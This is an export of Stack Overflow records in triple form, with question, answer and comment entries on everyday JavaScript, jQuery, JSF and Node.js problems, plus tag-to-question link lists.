has comment: http://stackoverflow.com/comment/40286425
has comment: http://stackoverflow.com/comment/40286558
has body: You should do it like this: UPDATED CODE: window.fbAsyncInit = function(event) { FB.Event.subscribe('edge.create', function(response) { }); $(event.target.id).remove(); }; Please tell me if this works. event.target.id gets the id of the element that called the event. More Updated code: $(document).ready(function(){ $(".fb-like-box").click(function(){ $(this).remove(); }); }); This should work
has comment: http://stackoverflow.com/comment/40294352
has comment: http://stackoverflow.com/comment/40285342

http://stackoverflow.com/q/25847989
accepted answer: http://stackoverflow.com/a/25848103
type: AnsweredQuestion
tagged with: jsf
has title: JSF Check all checkboxes
type: Question
has answer: http://stackoverflow.com/a/25848103
tagged with: javascript
score: 0
answer count: 1
has body: &lt;h:dataTable id="merchantDataTable" value="#{merchantManagementBean.merchants}" first="0" rows="#{merchantManagementBean.rowsPerPage}" var="merchant" styleClass="dataTable" columnClasses="users-colMerchant, users-colMerchantDescr, nostyle" rowClasses="oddRow, evenRow"&gt; &lt;h:column&gt; &lt;f:facet name="header"&gt; &lt;h:panelGrid columns="1"&gt; &lt;h:selectBooleanCheckbox /&gt; &lt;/h:panelGrid&gt; &lt;/f:facet&gt; &lt;h:selectBooleanCheckbox value="#{merchant.selected}"/&gt; &lt;/h:column&gt; &lt;/h:datatable&gt; Yea so I have this code part and I need to make the main checkbox to make them all checked I can use Probably only Javascript based solution since communication with bean is going to server side.
linked to: http://stackoverflow.com/q/10585080
linked to: http://stackoverflow.com/q/14806136

http://stackoverflow.com/comment/40539724
has text: Thanks everyone - I got it all working - then tested it in ie8 and the .F1 > .hoverme:hover ~ .I1 { ... } selectors DON'T work. But I read that the child and general sibling selectors ARE supposed to work in ie8. Can someone confirm please?
comment on: http://stackoverflow.com/a/25775201
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40484228
has text: I am writing the code in my .js files. (tried both controller and service javascript). While doing Inspect element in chrome I am able to see this error. I am confused where to use require? In node based project i used to write the require statement in the server.js file ( where i used to define the server and its port on which it is running )
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25869804

http://stackoverflow.com/comment/40297509
type: Comment
has text: @frustratedITGuy Edited, check it please.
type: AnswerComment
comment on: http://stackoverflow.com/a/25768488
score: 0

http://stackoverflow.com/a/25765949
type: Answer
has body: You should change your json to this: { "name1": { "ts1" : "Hallo", "ts2" : "Hillarry", "ts3" : "Sting", "ts4" : "Storm" } } this way it makes your jsonstring much easier to use. Get the data from it like this: person.name1.ts1
score: 0
answers question: http://stackoverflow.com/q/25765880

http://stackoverflow.com/q/25816526
has comment: http://stackoverflow.com/comment/40389708
has body: Is there a way to dynamically change the title on a fancybox after it has loaded -- at any time using javascript? I'm using a fancybox iframe and want to dynamically show the url of the iframe even if the user clicks around inside the iframe and goes to different locations.
has title: Change fancybox title when iframe changes location
answer count: 0
score: 1
upvote count: 1
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/40404438
tagged with: javascript
tagged with: jquery
tagged with: title
tagged with: fancybox
favorite count: 0
has comment: http://stackoverflow.com/comment/40389538
type: UnansweredQuestion
tagged with: iframe

http://stackoverflow.com/comment/40434188
comment on: http://stackoverflow.com/q/25840416
score: 0
type: QuestionComment
type: Comment
has text: What does your browser javascript console say ?

http://stackoverflow.com/q/25841735
score: 0
tagged with: datatables
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25842830
has comment: http://stackoverflow.com/comment/40432117
type: AnsweredQuestion
tagged with: onclick
has title: Button click function not working on datatable toolbar custom button
linked to: http://stackoverflow.com/q/25300624
type: Question
has body: As continuation to this question, Myself added the toggle button to datatable toolbar dom element as "dom": "T<'clear'><'row DatatableRow'<'col-xs-3'l><'col-xs-3'><'col-xs-3'<'#ToggleButton'>><'col-xs-3 text-right'f>r>t<'row DatatableRow'<'col-xs-3'i><'col-xs-3'><'col-xs-3'><'col-xs-3 text-right'p>>" and button is added as $("div#ToggleButton").html(' Toggle '); But in this case, the click function is not working?
has comment: http://stackoverflow.com/comment/40432018
has comment: http://stackoverflow.com/comment/40431936
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25842830

http://stackoverflow.com/q/25728751
downvote count: 0
score: 1
tagged with: google-bigquery
type: Question
tagged with: google-apps-script
upvote count: 1
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25735045
favorite count: 0
has body: I am trying to determine a Bigquery URI from my project to write from google Apps Script to Bigquery. However, I have been unable to find the source to put into my configurations. How do I find the BIgquery URI (gs://bucket_name/specific_location)? Thanks!
type: UnansweredQuestion
has title: How to determine the URI of a google BigQuery project

http://stackoverflow.com/comment/40371381
comment on: http://stackoverflow.com/a/25785286
score: 0
type: AnswerComment
type: Comment
has text: Thanks @RidaBENHAMMANE and Eugene. I tried this but its not working, maybe I am doing it wrong. Lemme try to explain once again what I m trying to do in simpler manner. Suppose I have a simple app xyz.html which uses require and backbone. This xyz.html is opened in a window.open and I want to call one function myalert when this xyz.html closes.

http://stackoverflow.com/a/25741823
has comment: http://stackoverflow.com/comment/40471805
answers question: http://stackoverflow.com/q/25741647
has body: setMonth should before setDate : (not safe for Months less than 31 days) var dt = new Date(); dt.setFullYear(2014); dt.setMonth(11); dt.setDate(31); And setMonth's second parameter also could be used to set date. var dt = new Date(); dt.setFullYear(2014); dt.setMonth(11, 31); If no arguments are provided for the constructor, it will use the current date and time according to system settings. So, using setMonth and setDate separately would still cause unexpected result. If the values set are greater than their logical range, the value will be auto adjusted to the adjacent value. For example, if today is 2014-09-30, then var dt = new Date(); dt.setFullYear(2014); /* Sep 30 2014 */ dt.setMonth(1); /* Mar 02 2014, see, here the auto adjustment occurs! */ dt.setDate(28); /* Mar 28 2014 */ To avoid this, set the values using the constructor directly. var dt = new Date(2014, 11, 31);
downvote count: 0
has comment: http://stackoverflow.com/comment/40272037
has comment: http://stackoverflow.com/comment/40248775
accepted answer of: http://stackoverflow.com/q/25741647
has comment: http://stackoverflow.com/comment/40291027
score: 86
has comment: http://stackoverflow.com/comment/40273062
has comment: http://stackoverflow.com/comment/40302947
has comment: http://stackoverflow.com/comment/40252555
type: AcceptedAnswer
upvote count: 86
has comment: http://stackoverflow.com/comment/40271985
type: Answer

http://stackoverflow.com/comment/40330426
type: Comment
comment on: http://stackoverflow.com/a/25774665
type: AnswerComment
score: 0
has text: @Bergi: No need to say sorry to me ;) It seems like a bit of a waste of time to me to do this for virtual internet points, but I guess I simply have other means to entertain myself ;)

http://stackoverflow.com/q/25713648
has body: Something like the word 'pie' not preceded by the word 'pizza'. I'm fairly new to regexes, and this problem has been causing me trouble. If you could provide an answer using JavaScript regex syntax, i'd be that much more thankful. Edit: I could probably replicate the functionality by searching individually for the strings 'pizza pie' and 'pie' in two separate regexes, and only count the string indexes that appear in the second find but not the first. It's a convoluted solution that's not quite as fast, but can be easily multithreaded so I suppose it's okay.
has title: Javascript Regex; find 'x', but not if preceded by 'y'
duplicate of: http://stackoverflow.com/q/641407
answer count: 1
downvote count: 0
tagged with: negative-lookbehind
favorite count: 0
linked to: http://stackoverflow.com/q/6851921
duplicate of: http://stackoverflow.com/q/6851921
tagged with: regex
type: AnsweredQuestion
score: 3
upvote count: 3
has answer: http://stackoverflow.com/a/25713682
has comment: http://stackoverflow.com/comment/40195998
type: Question
accepted answer: http://stackoverflow.com/a/25713682
has comment: http://stackoverflow.com/comment/40195974
linked to: http://stackoverflow.com/q/641407
tagged with: javascript

http://stackoverflow.com/comment/40395873
comment on: http://stackoverflow.com/q/25803860
score: 2
type: Comment
type: QuestionComment
has text: You should watch this Video on functional-ish programming in Ruby by Jim Weirich. During the talk, he derives the Y Combinator step by step. Very impressive, educational and fun to watch! https://www.youtube.com/watch?v=FITJMJjASUs

http://stackoverflow.com/comment/40272473
type: QuestionComment
type: Comment
has text: This may sound crazy & I've never done it, but is it possible to change the innerHTML of the page & then save/overwrite the page itself? There must be some alternative to Storage for a locally accessed page (I hope)!
comment on: http://stackoverflow.com/q/25753685
score: 0

android
tags question: http://stackoverflow.com/q/25852695
tags question: http://stackoverflow.com/q/25790445
tags question: http://stackoverflow.com/q/25758892
tags question: http://stackoverflow.com/q/25820382
tags question: http://stackoverflow.com/q/25808249
tags question: http://stackoverflow.com/q/25784258
tags question: http://stackoverflow.com/q/25849517
tags question: http://stackoverflow.com/q/25800962
tags question: http://stackoverflow.com/q/25749298
tags question: http://stackoverflow.com/q/25817700
tags question: http://stackoverflow.com/q/25732712
tags question: http://stackoverflow.com/q/25856595
tags question: http://stackoverflow.com/q/25738408
tags question: http://stackoverflow.com/q/25763695
tags question: http://stackoverflow.com/q/25849675
tags question: http://stackoverflow.com/q/25746218
tags question: http://stackoverflow.com/q/25788068
tags question: http://stackoverflow.com/q/25861728
tags question: http://stackoverflow.com/q/25797358
tags question: http://stackoverflow.com/q/25808097
tags question: http://stackoverflow.com/q/25772614
tags question: http://stackoverflow.com/q/25822003
tags question: http://stackoverflow.com/q/25781066
tags question: http://stackoverflow.com/q/25748518
tags question: http://stackoverflow.com/q/25791343
tags question: http://stackoverflow.com/q/25768942
tags question: http://stackoverflow.com/q/25817832
tags question: http://stackoverflow.com/q/25782282
tags question: http://stackoverflow.com/q/25797568
tags question: http://stackoverflow.com/q/25808640
tags question: http://stackoverflow.com/q/25842618
tags question: http://stackoverflow.com/q/25757798
tags question: http://stackoverflow.com/q/25823534
tags question: http://stackoverflow.com/q/25770486
tags question: http://stackoverflow.com/q/25786916
tags question: http://stackoverflow.com/q/25768324
tags question: http://stackoverflow.com/q/25822587
tags question: http://stackoverflow.com/q/25780372
tags question: http://stackoverflow.com/q/25868260
tags question: http://stackoverflow.com/q/25820276
tags question: http://stackoverflow.com/q/25764472
tags question: http://stackoverflow.com/q/25757815
tags question: http://stackoverflow.com/q/25811932
tags question: http://stackoverflow.com/q/25758966
tags question: http://stackoverflow.com/q/25759161
tags question: http://stackoverflow.com/q/25832142
tags question: http://stackoverflow.com/q/25796117
tags question: http://stackoverflow.com/q/25801693
tags question: http://stackoverflow.com/q/25765887
tags question: http://stackoverflow.com/q/25851072
tags question: http://stackoverflow.com/q/25865804
tags question: http://stackoverflow.com/q/25835124
tags question: http://stackoverflow.com/q/25757022
tag name: android
tags question: http://stackoverflow.com/q/25839565
tags question: http://stackoverflow.com/q/25845206
tags question: http://stackoverflow.com/q/25753708
tags question: http://stackoverflow.com/q/25851050
type: Tag
tags question: http://stackoverflow.com/q/25790224
tags question: http://stackoverflow.com/q/25870068
tags question: http://stackoverflow.com/q/25839078
tags question: http://stackoverflow.com/q/25757907

http://stackoverflow.com/a/26073000
score: 1
has comment: http://stackoverflow.com/comment/40852160
has comment: http://stackoverflow.com/comment/40852333
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25821507
has body: Error: Embedded data could not be displayed. This may help you. Source: http://lowendmac.com/2006/embed-a-blogger-feed-in-your-web-page/

http://stackoverflow.com/comment/40282640
score: 0
comment on: http://stackoverflow.com/q/25760053
type: Comment
type: QuestionComment
has text: @user123456789987654321 I can't see the scrollbar...

jasmine
tags question: http://stackoverflow.com/q/25775462
tags question: http://stackoverflow.com/q/25728701
tag name: jasmine
tags question: http://stackoverflow.com/q/25848628
tags question: http://stackoverflow.com/q/25802808
tags question: http://stackoverflow.com/q/25853968
tags question: http://stackoverflow.com/q/25761448
tags question: http://stackoverflow.com/q/25783508
tags question: http://stackoverflow.com/q/25798677
tags question: http://stackoverflow.com/q/25781279
tags question: http://stackoverflow.com/q/25794501
tags question: http://stackoverflow.com/q/25856806
tags question: http://stackoverflow.com/q/25804058
tags question: http://stackoverflow.com/q/25785149
tags question: http://stackoverflow.com/q/25817534
tags question: http://stackoverflow.com/q/25757413
type: Tag
tags question: http://stackoverflow.com/q/25863715
tags question: http://stackoverflow.com/q/25809992
tags question: http://stackoverflow.com/q/25725216

http://stackoverflow.com/a/25735992
upvote count: 1
answers question: http://stackoverflow.com/q/25730970
score: 1
has comment: http://stackoverflow.com/comment/40260423
downvote count: 0
has comment: http://stackoverflow.com/comment/40334076
type: Answer
has body: After i saw your code, the only error i see is this var iconImage = '/horseriding.png'; i think your horseriding is inside the img folder so it should be image/horseriding.png or img/horseriding.png of if it is in your root folder it should be var iconImage= 'horseriding.png';
has comment: http://stackoverflow.com/comment/40275069

http://stackoverflow.com/comment/40361678
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25803402
has text: Parsing html with regex is not recommended.
score: 0

http://stackoverflow.com/comment/40487560
type: Comment
has text: @fstanis That seems to be the gist, yes. Although I have seen services use 404 for all cases (rightly or wrongly)
type: AnswerComment
comment on: http://stackoverflow.com/a/25868672
score: 0

http://stackoverflow.com/comment/40369949
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25808296
has text: What about using percentage based max width `max-width: 50%;` ? What are your criterias for the size of the "node" ?

http://stackoverflow.com/comment/40358726
type: AnswerComment
type: Comment
has text: I'm wondering why shouldn't we call 'doSomething' first and then setInterval. Does it make any difference?
comment on: http://stackoverflow.com/a/25801810
score: 0

http://stackoverflow.com/comment/46956997
comment on: http://stackoverflow.com/q/25770946
score: 0
has text: Have you managed to fix this? I am still having the same issue even with latest node/mocha versions.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40443852
score: 0
type: Comment
type: QuestionComment
has text: You can visit this link : https://developers.facebook.com/docs/javascript/reference/FB.init/v2.1
comment on: http://stackoverflow.com/q/25848131

http://stackoverflow.com/q/25747494
downvote count: 1
favorite count: 0
has title: How to show a low resolution pictures when downloading high resolution?
has answer: http://stackoverflow.com/a/25747542
accepted answer: http://stackoverflow.com/a/25747542
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25747777
tagged with: css
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40259527
type: Question
has comment: http://stackoverflow.com/comment/40259119
has comment: http://stackoverflow.com/comment/40259326
has body: I have quite big image to download and show in a img tag. Image it is not Progressive JPEG, so you can see image being rendered when downlaoding. I would like to show a low resolution version when the image is fetch from the server, possibly using only CSS or an HTML property. Any idea how to solve it? Example: http://jsfiddle.net/hncajo9f/1/
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25747745
has comment: http://stackoverflow.com/comment/40259615
linked to: http://stackoverflow.com/q/10371977
upvote count: 2
has answer: http://stackoverflow.com/a/25747745
answer count: 3

http://stackoverflow.com/q/25796171
has title: How do you wait for element to load in functional tests with Intern 2?
type: Question
linked to: http://stackoverflow.com/q/25630545
answer count: 2
downvote count: 0
tagged with: intern
has answer: http://stackoverflow.com/a/26047457
favorite count: 0
has answer: http://stackoverflow.com/a/26153011
has comment: http://stackoverflow.com/comment/40349151
score: 2
upvote count: 2
type: UnansweredQuestion
tagged with: functional-testing
has body: I am trying to make an integration test with Intern 2, meaning I will need to navigate web pages or wait for ajax to test certain things. This means waiting for elements to appear, which Intern 1 supported. I have looked at pollUntil in leadfoot, which almost does what I want, but will cause a chain of .thens for every click I need to make (example). Is there a better way of doing this?
tagged with: javascript

http://stackoverflow.com/comment/40351467
score: 1
comment on: http://stackoverflow.com/a/25736436
type: AnswerComment
has text: OK. I guess I did not understand how I would implement this: `Put them in the callback to run if chrome.runtime.lastError is false`
type: Comment

http://stackoverflow.com/a/25804642
has body: var js = '{ "classification" : [' + '{ "Img":"banana.jpg" , "Species":"Banana", "Class":"Fruit", "Color":"Yellow" },' + '{ "Img":"apple.jpg" , "Species":"Apple", "Class":"Fruit", "Color":"Red" },' + '{ "Img":"grape.jpg" , "Species":"Grape", "Class":"Fruit", "Color":"Purple" },' + '{ "Img":"tomato.jpg" , "Species":"Tomato", "Class":"Vegetable", "Color":"Red" },' + '{ "Img":"carrot.jpg" , "Species":"Carrot", "Class":"Vegetable", "Color":"Orange" },' + '{ "Img":"spinach.jpg" , "Species":"Spinach", "Class":"Vegetable", "Color":"Green" } ]}'; var parser = JSON.parse(js); var data = parser.classification; function createTable() { var cTable = document.createElement('table'); cTable.id = "json-test"; cTr = document.createElement('tr'); var th1 = document.createElement('th'); th1.innerHTML = 'Img'; var th2 = document.createElement('th'); th2.innerHTML = "Species"; var th3 = document.createElement('th'); th3.innerHTML = "Class"; var th4 = document.createElement('th'); th4.innerHTML = "Color"; cTr.appendChild(th1); cTr.appendChild(th2); cTr.appendChild(th3); cTr.appendChild(th4); cTable.appendChild(cTr); document.body.appendChild(cTable); for (i = 0; i &lt; data.length; i++) { addNewRow(parser.classification[i]); } } function addNewRow(data) { var cTable = document.getElementById('json-test'); var cRow = document.createElement("tr"); var td1 = document.createElement("td"); td1.innerHTML = '&lt;img src=' + data.Img + '&gt;&lt;/img&gt;'; var td2 = document.createElement("td"); td2.innerHTML = data.Species; var td3 = document.createElement("td"); td3.innerHTML = data.Class; var td4 = document.createElement("td"); td4.innerHTML = data.Color; cRow.appendChild(td1); cRow.appendChild(td2); cRow.appendChild(td3); cRow.appendChild(td4); cTable.appendChild(cRow); } window.addEventListener("load", createTable); document.forms[0].onsubmit = function () { var img = this.img.value; var species = this.species.value; var clas = this.class.value; var color = this.color.value; var obj = { "Img…
answers question: http://stackoverflow.com/q/25804087
score: 0
type: Answer

http://stackoverflow.com/comment/40690753
score: 0
comment on: http://stackoverflow.com/a/25983060
has text: I use RequireJS thanks, that's not really the issue.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/25809234
score: 1
has body: Have you looked in to Require JS, it will send async requests for only the modules you need for a given module. In addition, because dependencies are scoped to the callback function, namespaces clashing is less of an issue Typically you would have: require(["jquery", "foo", "bar"], function($, foo, bar){...}); which allows your code to remain modularized both server side, and client side, in separate locations. Of course, you need to set up require on your server with a config (described in the webpage), and wrap your resources in define blocks: define("foo", ["jquery"], function($){...}); The downside is performance on pages that require many modules. In this situation you benefit more from having all resources in combined files, but note that query strings will cause the browser not to cache files in any case.. which is also another performance consideration. Hope that helps ps. In terms of CSS lazy loading, you could always use javascript to inject link tags into the head adhoc, and provide some javascript interface functions that your other code can call in order to request a CSS dependency dynamically.
downvote count: 0
answers question: http://stackoverflow.com/q/25809111
type: Answer
upvote count: 1

http://stackoverflow.com/comment/40412236
comment on: http://stackoverflow.com/a/25831255
type: AnswerComment
score: 2
has text: +1, I think this is what they meant. The `switch` could also be removed and simply append the random number to the `"face"` string. The code here `(6 - 1 + 1)` should probably just be `6` too. :)
type: Comment

http://stackoverflow.com/q/25863508
answer count: 1
favorite count: 0
type: UnansweredQuestion
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/25865283
has comment: http://stackoverflow.com/comment/40472726
type: Question
has body: i am creating a web application that uses maps. on map I'm creating circle and want to show the radius in a div. I'm able to show radius after finishing the radius with overlay complete event. but i want to show the radius in a div while creating the circle to allow user to draw the circle with radius of their own length. Is there a way to do it. plz help me on this. Any feedback and help would be welcome and appreciated. thanx in advance. google.maps.event.addListener(drawingManager, 'overlaycomplete', function(e) { deleteSelectedShape(); selectedShape = e.overlay; //selectedShape.setEditable(true); //overlayClickListener(selectedShape); if (e.type == google.maps.drawing.OverlayType.CIRCLE) { var bound = e.overlay.getBounds(); bounds = bound; var radius = e.overlay.getRadius(); radius = (radius/1000); $('#radius_size').html("Radius "+Math.round(radius)+" Km"); } else if (e.type == google.maps.drawing.OverlayType.RECTANGLE) { deleteSelectedShape(); var bound = e.overlay.getBounds(); map.fitBounds(bound); }
tagged with: google-maps
has title: google map : get radius of circle overlay while creating circle
downvote count: 0
has comment: http://stackoverflow.com/comment/40471583
tagged with: javascript
tagged with: google-maps-api-3
has comment: http://stackoverflow.com/comment/40473837

http://stackoverflow.com/q/25748474
has title: Need help to create 3 copy's of object instead of references (as it currently does)
score: 0
has comment: http://stackoverflow.com/comment/40261031
linked to: http://stackoverflow.com/q/728360
has body: Please have a look at the code below. The problem I'm having is that it seems that I create 4 references to the same object rather than 4 unique objects because when I change one value in groupDataArrays the same value is also changes in groupDataArraysOfficial, groupDataArraysValid, groupDataArraysOfficialValid I'm trying to do a jQuery extend in order to avoid creating a reference, for example groupDataArrays[resultKey] = jQuery.extend({}, resultGroup); But it don't work. Do you know how to avoid this referencing error? Thanks in advance. for (var i = 0; i &lt; dataCollection.length; i++) { var data = dataCollection[i]; var currentRecord = data.Record.Record; for (var resultKey in currentRecord) { //It seems like this declaration hase something to do with the referencing var resultGroup = currentRecord[resultKey]; var resultGroupOfficial = currentRecord[resultKey]; var resultGroupValid = currentRecord[resultKey]; var resultGroupOfficialValid = currentRecord[resultKey]; //Every element contains these objects so its enough to loop through the first //and then fix the other values at the same time. Perhaps this is the error? //But it seems uneccesary to do 4 for loops instead of doing one? for (var resultGroupElement in resultGroup) { if (dataTables[resultGroupElement] != null) { var curResultGroup = dataTables[resultGroupElement]; } else { var curResultGroup = []; } var stopTimeConverted = convertDateToWorkWithAllBrowsers(data.StopTime); //Is necesary in order for date objects to be created in firefox and I.E if (currentRecord[resultKey][resultGroupElement] != null &amp;&amp; currentRecord[resultKey][resultGroupElement] !== undefined &amp;&amp; currentRecord[resultKey][resultGroupElement] !== "" &amp;&amp; currentRecord[resultKey][resultGroupElement] !== "N/A") { curResultGroup.push( [ new Date(stopTimeConverted), parseInt(currentRecord[resultKey][resultGroupElement]), resultKey, data ] ); resultGroup[resultGroupElement] = curResultGroup; dataTables[resultGroupEleme…
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25748555
answer count: 1
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40488685
type: AnswerComment
comment on: http://stackoverflow.com/a/25854698
has text: 1. Yes, it would be called both on aborts and when `do…Important` fails. I prefer to nest handlers if I need to distinguish the origin of an error. Promises are often compared to async try/catch blocks, which you usually would nest similarly to deal with such situations. The alternative is to let all exceptions bubble and then distinguish the origins based on the error object. There are [helper methods](https://github.com/petkaantonov/bluebird/blob/master/API.md#catchfunction-errorclassfunction-predicate-function-handler---promise) that help you to deal with such :-)
score: 0
type: Comment

http://stackoverflow.com/q/25791056
answer count: 2
possible better answer: http://stackoverflow.com/a/25791161
favorite count: 0
has answer: http://stackoverflow.com/a/25791310
score: 2
type: AnsweredQuestion
has body: I am building a form dynamically from json using jQuery, and I want to add input fields to my form (e.g. Name, Age, Address, Email). Here is my code so far: $(function () { //Form JSON var _form= { "sample_form": { 'Title': 'Form using Jquery/JSON', 'id': 'test_form', 'action': 'thanks.html', 'method': 'post', 'fields': [ {'id':'txtName' , 'caption':'Name' , 'type':'text' , 'required':'true'}, {'id':'txtNum' , 'caption':'Age' , 'type':'number' , 'required':'false'}, {'id':'txtAddress' , 'caption':'Address' , 'type':'address' , 'required':'false'}, {'id':'txtEmail' , 'caption':'Email' , 'type':'email' , 'required':'true'} ] } }; //Creating Form $('div#form2').append( //***********************Header******************* $('&lt;br/&gt;'), $('&lt;span/&gt;').hide(), $("&lt;h2/&gt;").text(_form.sample_form.Title), //***********************Form********************* $('&lt;form/&gt;', { id: _form.sample_form.id, action: _form.sample_form.action, method: _form.sample_form.method } ).append( for (var i = 0; i &lt;_form.sample_form.fields.length ; i++) { $('&lt;input/&gt;',{ type: i.type , required: i.required , id: i.id}) } ) );}); fiddle
upvote count: 3
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/25791161
downvote count: 1
type: Question
tagged with: javascript
tagged with: jquery
has title: Create Input Fields using json data dynamically
accepted answer: http://stackoverflow.com/a/25791310

http://stackoverflow.com/comment/40415918
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25833369
has text: grunt w/ livereload - on save, it auto refreshes the browser your code is loaded in and you can do your testing there.
score: 0

http://stackoverflow.com/q/25821539
has title: Modal - How to pass in correct variables to render within javascript
has answer: http://stackoverflow.com/a/25821598
type: Question
answer count: 2
tagged with: bootstrap-modal
tagged with: javascript
has body: I am trying to pass in more than one variable to a render statement that will render the _form partial, using the following: $(document).ready(function() { $('#contact_modal').click(function(event){ $("#modal-window").html("&lt;%= escape_javascript(render 'contacts/form', new_contact: Contact.new ) %&gt;"); I tried passing in two variables by doing the following: new_contact: @contact, new_case: @case but it doesn't seem to recognize the new_contact and new_case variables. How do i pass in both of them and then use them in the simple_form_for? EDIT: I couldn't get it to work with the following setup (case has_many contacts): routes.rb resources :contacts resources :cases do resources :contacts, :shallow =&gt; true end contacts_controller.rb def new if params[:case_id] @case = Case.find(params[:case_id]) @contact = @case.contacts.build @create_case_contacts_array = [@case, @contact] else @contact = Contact.new @create_case_contacts_array = @contact end end def create if params[:case_id] @case = Case.find(params[:case_id]) @contact = @case.contacts.build(params[:contact]) else @contact = Contact.new(contact_params) end @contact.user = @user ... end index.html.erb (where the modal is invoked) $("#modal-window").html("&lt;%= escape_javascript( render :partial =&gt; "contacts/form", :locals =&gt; { :new_case =&gt; @case, :new_contact =&gt; @contact} ) %&gt;"); _form.html.erb &lt;%= simple_form_for(new_case, new_contact) do |f| %&gt; . . . &lt;%= f.button :submit %&gt; Why doesn't my cases/1/contacts page render (index of contacts)? What am I doing wrong? It has something to do with the index.html.erb line where i render the modal. I get the following error: undefined method `model_name' for NilClass:Class
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25842551
score: 0
possible better answer: http://stackoverflow.com/a/25821598
has answer: http://stackoverflow.com/a/25842551
tagged with: ruby-on-rails
type: AnsweredQuestion

http://stackoverflow.com/comment/40388112
comment on: http://stackoverflow.com/q/25816443
score: 0
type: Comment
type: QuestionComment
has text: @Downvoter:- Please tell me the reason of the downvote.

http://stackoverflow.com/comment/40341291
type: Comment
type: QuestionComment
has text: The code in your jsFiddle is completely different than the code in your OP.
comment on: http://stackoverflow.com/q/25792561
score: 2

http://stackoverflow.com/q/25763837
has comment: http://stackoverflow.com/comment/122602720
linked to: http://stackoverflow.com/q/783818
possible better answer: http://stackoverflow.com/a/68065776
tagged with: node.js
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40288756
has title: How to specify a "caused by" in a JavaScript Error?
has comment: http://stackoverflow.com/comment/40289844
accepted answer: http://stackoverflow.com/a/32307827
linked to: http://stackoverflow.com/q/1382107
tagged with: stack-trace
has answer: http://stackoverflow.com/a/66098419
type: Question
upvote count: 33
has body: In my NodeJS program, I parse some user JSON file. So I use : this.config = JSON.parse(fs.readFileSync(path)); The problem is that if the json file is not correctly formated, the error thrown is like: undefined:55 }, ^ SyntaxError: Unexpected token } at Object.parse (native) at new MyApp (/path/to/docker/lib/node_modules/myApp/lib/my-app.js:30:28) ... As it is not really user friendly I would like to throw an Error specifying some user friendly message (like "your config file is not well formated") but I want to keep the stacktrace in order to point to the problematic line. In the Java world I used throw new Exception("My user friendly message", catchedException) in order to have the original exception which caused that one. How is it possible in the JS world?
linked to: http://stackoverflow.com/q/22303633
has answer: http://stackoverflow.com/a/40287588
has answer: http://stackoverflow.com/a/32307827
tagged with: javascript
answer count: 6
linked to: http://stackoverflow.com/q/17886769
has answer: http://stackoverflow.com/a/68065776
has comment: http://stackoverflow.com/comment/40288664
score: 33
has answer: http://stackoverflow.com/a/78610264
has answer: http://stackoverflow.com/a/25763968
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/40324820
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25783362
has text: Is jQuery called before the scripts that need it?
score: 0

http://stackoverflow.com/comment/40399286
has text: thanks, but there is just one problem if dropdown one is open and i click on btn two , i want to close dropdown one, for example if dropdown one has class .active and i click on dropdown btn two, i want to remove class active from dropdown btn one.
comment on: http://stackoverflow.com/a/25824113
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40376932
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25810118
has text: @Bergi: Edit's good (it was a minor comment in any case). I mean, you *could* go with `lookfor.done = lookfor.done == '1' ? '0' : lookfor.done == '0' ? '1' : lookfor.done;` but...yeech. ;-)

http://stackoverflow.com/q/25856692
has comment: http://stackoverflow.com/comment/40458801
answer count: 1
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25857074
has title: Append JavaScript array data into div
has comment: http://stackoverflow.com/comment/40458934
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/40458732
has comment: http://stackoverflow.com/comment/40459222
has answer: http://stackoverflow.com/a/25857074
has body: I have the following JavaScript array data: [{'id:1'},{"info":"Name"}"] [{'id:2'},{"info":"LastName"}"] How do I loop through this and insert the data into a div? I tried something like this,but no success: for(var i=0; msg.length&lt;i; i++){ $('#results_box').append(msg[i].id); $('#results_box').append(msg[i].info); }
type: Question
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/40459027
has comment: http://stackoverflow.com/comment/40459196

http://stackoverflow.com/q/25857996
linked to: http://stackoverflow.com/q/21589340
answer count: 1
has comment: http://stackoverflow.com/comment/40461185
tagged with: angularjs
score: 0
type: UnansweredQuestion
tagged with: http
has comment: http://stackoverflow.com/comment/40462399
has comment: http://stackoverflow.com/comment/40461298
linked to: http://stackoverflow.com/q/4208530
has title: Does anyone have a good way to read a local file from AngularJS?
has body: I know that this question was previously asked here: Read local file in AngularJS But I was just wondering if anyone has a better method than simple making a http request for the local file. I am currently using the http call method of opening a file, but the problem is that this method does not seem to work on chrome unless I host the json file on a web server. It will, however, work on firefox. Does anyone have a solution that works well on chrome and does not host the file on a server of some sort? Any ideas?
has answer: http://stackoverflow.com/a/25858020
type: Question
has comment: http://stackoverflow.com/comment/40461476
tagged with: javascript

http://stackoverflow.com/a/25838151
accepted answer of: http://stackoverflow.com/q/25836447
score: 17
upvote count: 17
has comment: http://stackoverflow.com/comment/40425191
answers question: http://stackoverflow.com/q/25836447
type: AcceptedAnswer
downvote count: 0
